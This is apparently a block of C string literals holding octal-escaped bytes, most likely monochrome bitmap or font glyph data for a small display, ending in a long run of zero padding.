"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360" "\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\200\200\200" "\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0`\340\360\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7" "\37\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376" "\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376\360\300\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\177\377\377|p\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360" "\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200" "\200\200\377\377\377\377\377\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\200\340\360\374\376\77\37\177\376\374\360\300\0\0\0\0\0\0\0\0\0\10\14\37\37\37\7\3\0\0\0" "\0\1\7\37\37\37\16\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\200\200\200\200\200\200\200\200\200\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\370\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\37\77\377\377\376\370\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\77" "\177\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\200\0\0" "\0\0\0\0\0\0\2\7\17\217\207\207\303\303\303\303\303\303\307\317\377\377\377\376\370\0\0\0\370\374\376\377" "\377\217\17\7\7\7\7\7\3\203\203\343\377\377\377\377\377\0\0\0\1\3\7\17\17\37\37\37\37\36\37\37" "\17\17\17\7\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\377\377\377\377\377>\17\17\7\7\7" "\7\7\17\17\37\377\377\376\374\360\300\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\200\340\377\377" "\377\377\77\0\0\77\77\77\77\7\17\37\36>><>>>\77\37\37\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\200" "\0\0\0\0\0\300\370\374\376\377\77\37\17\7\3\3\3\3\3\3\7\7\17\77\37\16\4\0\0\37\177\377" "\377\377\360\300\200\200\0\0\0\0\0\0\0\200\200\300\300\0\0\0\0\0\0\1\3\7\7\17\17\17\37\37" "\37\36\37\37\37\17\17\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\20\0\0\0\0\0\0" "\0\0\200\200\200\200\200\200\200\200\0\0\377\377\377\377\377\0\0\0\300\370\374\376\377\177\37\17\7\7\7\7" "\7\17\37>\377\377\377\377\377\0\0\0\77\377\377\377\377\340\200\0\0\0\0\0\0\0\0\300\377\377\377\377" "\377\0\0\0\0\1\3\17\17\37\37\77>><>>\36\37\17\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\200\0\0\0\0" "\0\0\0\0\300\360\370\376\376\277\237\217\207\207\207\207\207\207\217\217\237\377\376\374\370\340\0\0\77\377\377\377" "\377\347\207\7\7\7\7\7\7\7\7\7\7\7\207\7\7\7\0\0\0\1\3\7\17\17\37\37>>>>" "<>>>\37\37\17\17\6\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\360\360\360\360\360\360\360\360\340\300\300\0\0\0\0\0" "\0\0\376\377\377\377\377\3\1\0\0\0\0\0\1\3\7\7\1\0\0\17\17\17\17\17\377\377\377\377\377\17" "\17\17\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\200\0\0\200\200\200" "\200\200\200\200\0\360\374\376\377\377\17\7\3\3\3\3\3\7\17\377\377\377\377\347\7\7\7\7\0\3\207\317" "\377\377\177~||x||~\77\77\37\17\7\3\0\0\0\0\200\340\347\377\377\177>\36\36\36\36\36" "\36\36\36>>>\374\374\374\370\340\0\7\17\37\77\77>||||xx||||<>\77\37" "\17\7\1\0\0\360\360\360\360\360\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\377\377\377\377\377~\36\17\17\7\7" "\7\7\17\37\377\377\376\374\360\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360" "\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\201\203\207\207\207\203\1\0\0\0\0\0" "\0\0\0\0\0\0\0\7\7\7\7\7\7\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0<<<<<<\77\77\77" "\77\77<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\340\300\0\0\0\0\0\0\0\0\0" "\200\200\200\200\200\200\200\200\201\203\207\207\207\203\1\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7" "\7\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0" "\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\14\36\37\77" ">|||x||>\77\77\37\17\7\1\0\0\0\0\0\0\0\360\360\360\360\360\20\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\200\200\200\200" "\200\200\0\0\0\377\377\377\377\377\0\200\300\300\340\360\370|>\77\37\17\7\3\1\0\0\0\0\377\377\377" "\377\377\37\17\7\17\37\177\376\374\370\360\340\300\200\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0" "\0\1\3\7\37\77\77><\70\60 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0<<<<<<<\77\77\77\77\77<<<<<<<\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\200\300\300\300\300\300\300\200\0\200\300\300\300\300\300" "\300\200\0\0\377\377\377\377\377\17\3\3\3\377\377\377\377\377\17\3\3\3\377\377\377\377\377\0\377\377\377\377" "\377\0\0\0\0\377\377\377\377\377\0\0\0\0\377\377\377\377\377\0\37\37\37\37\37\0\0\0\0\37\37\37" "\37\37\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300\0\0\200\300\300\300\300\300\300\300\300\200\0\0\0\0\0\0\0\377\377\377\377\377\77\17\7\7\3\3" "\3\3\7\17\377\377\377\376\370\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\0\0" "\0\0\0\0\300\370\374\376\377\77\17\7\7\3\3\3\3\3\7\7\37\177\377\377\374\370\300\0\37\177\377\377" "\377\360\300\200\0\0\0\0\0\0\0\200\300\360\377\377\377\177\37\0\0\0\1\3\7\7\17\17\37\37\37\36" "\37\37\37\17\17\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\200\0\0\0\200\200\200\300\200\200\200\200\0\0\0\0\0\0\0\0\377\377\377\377\377>\17\17\7\7\7" "\7\7\17\17\37\377\377\376\374\360\300\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\200\340\377\377" "\377\377\77\0\0\377\377\377\377\377\17\37\36\36><>>>\77\37\37\17\7\3\1\0\0\0\177\177\177" "\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\200\0\300\300\300" "\300\300\0\0\340\370\376\377\377\77\17\7\7\3\3\3\3\3\7\17\37\377\377\377\377\377\0\0\37\377\377\377" "\377\360\300\200\0\0\0\0\0\0\0\200\340\377\377\377\377\377\0\0\0\0\1\3\7\17\17\37\37\37\37\36" "\37\17\17\7\7\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\300\300\300\300\0\0\200\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\377\377\377\377\377\177\37\17\7" "\7\3\3\3\3\3\7\17\37\7\1\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\300\200\0\0" "\0\0\0\0\0\0<\177\377\377\377\347\307\303\203\203\203\203\7\7\17\77\37\17\2\0\0\0\0\200\340\340" "\300\201\1\3\3\3\7\7\7\7\17\237\377\376\374\374\360\0\0\0\1\3\7\7\17\17\17\37\37\37\36\37" "\37\37\37\17\17\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\200\200\376\376\377\377\377\200\200\200\200\200\200\200\0\0\0\0\0\0\7\7\7\7\7\377\377\377\377\377\7" "\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\200" "\0\0\0\0\0\0\0\0\0\0\3\17\37\37\77\77>><>>\36\37\17\16\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\200\200\200\200" "\200\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\377\377\377" "\377\377\200\0\0\0\0\0\0\0\0\300\377\377\377\377\377\0\0\0\0\0\3\17\17\37\37\77>><>" ">\36\37\17\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200" "\200\200\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\1\17\77\377\377\376\370\300\0\0\0\0" "\0\0\0\200\360\376\377\377\37\7\0\0\0\0\0\0\7\37\377\377\377\370\340\0\300\370\376\377\77\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\77\77\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\200\0\377\377\377\360\0\0\0\0\340\376\376\376\376\360\200\0\0\0\377\377\377\377\37\0\7\177\377\377" "\377\340\340\376\377\77\7\7\77\377\377\370\300\374\377\377\377\7\0\0\0\0\17\77\77\77\77\37\3\0\0\0" "\0\3\37\77\77\77\77\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200" "\200\200\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\0\0\0\1\7\17\37\177\376\374\370\340\300\200" "\340\360\374\376\177\37\17\3\1\0\0\0\0\0\0\0\200\300\340\371\377\377\77\77\377\377\371\360\300\200\0\0" "\0\0\0\0 \70<>\77\77\17\7\1\0\0\0\0\1\3\17\37\77\77>\70\60 \0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\200\0\1\7\37\377\377\377\370\340\0\0\0\0\0\0\0\200\360\377\377\377\77\7\0\0\0\0\0\0" "\3\17\77\377\377\374\340\200\200\360\376\377\377\37\7\0\0\0\0\0\0\0\0\0\0\0\0\1\7\377\377\377" "\377\177\37\3\0\0\0\0\0\0\0\0>\77||x||~\77\77\37\17\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\7\7\7\7\7\7\7\7\7\207\307" "\367\377\377\177\77\37\17\7\0\0\0\0\0\0\0\200\300\360\370\374\376\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0<>\77\77\77\77\77=<<<<<<<<<<<<>>\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\370\376\377\377\377\17\7\3\3\3\3\3\3\3" "\0\0\0\0\200\200\200\200\300\340\377\377\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\17" "\17\37\377\377\375\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\77\77\177|||xxxxx" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\7\17\377\377\377\376\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\377\377\377\340\300\200\200\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\370\374\377\377\77\17\17\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0xxxxx|||\177\77\77\37\17\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\200\300\200\200\0\6\7\17\17\7\7\7\3\7\7\17\17" "\37\37\37\37\37\37\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 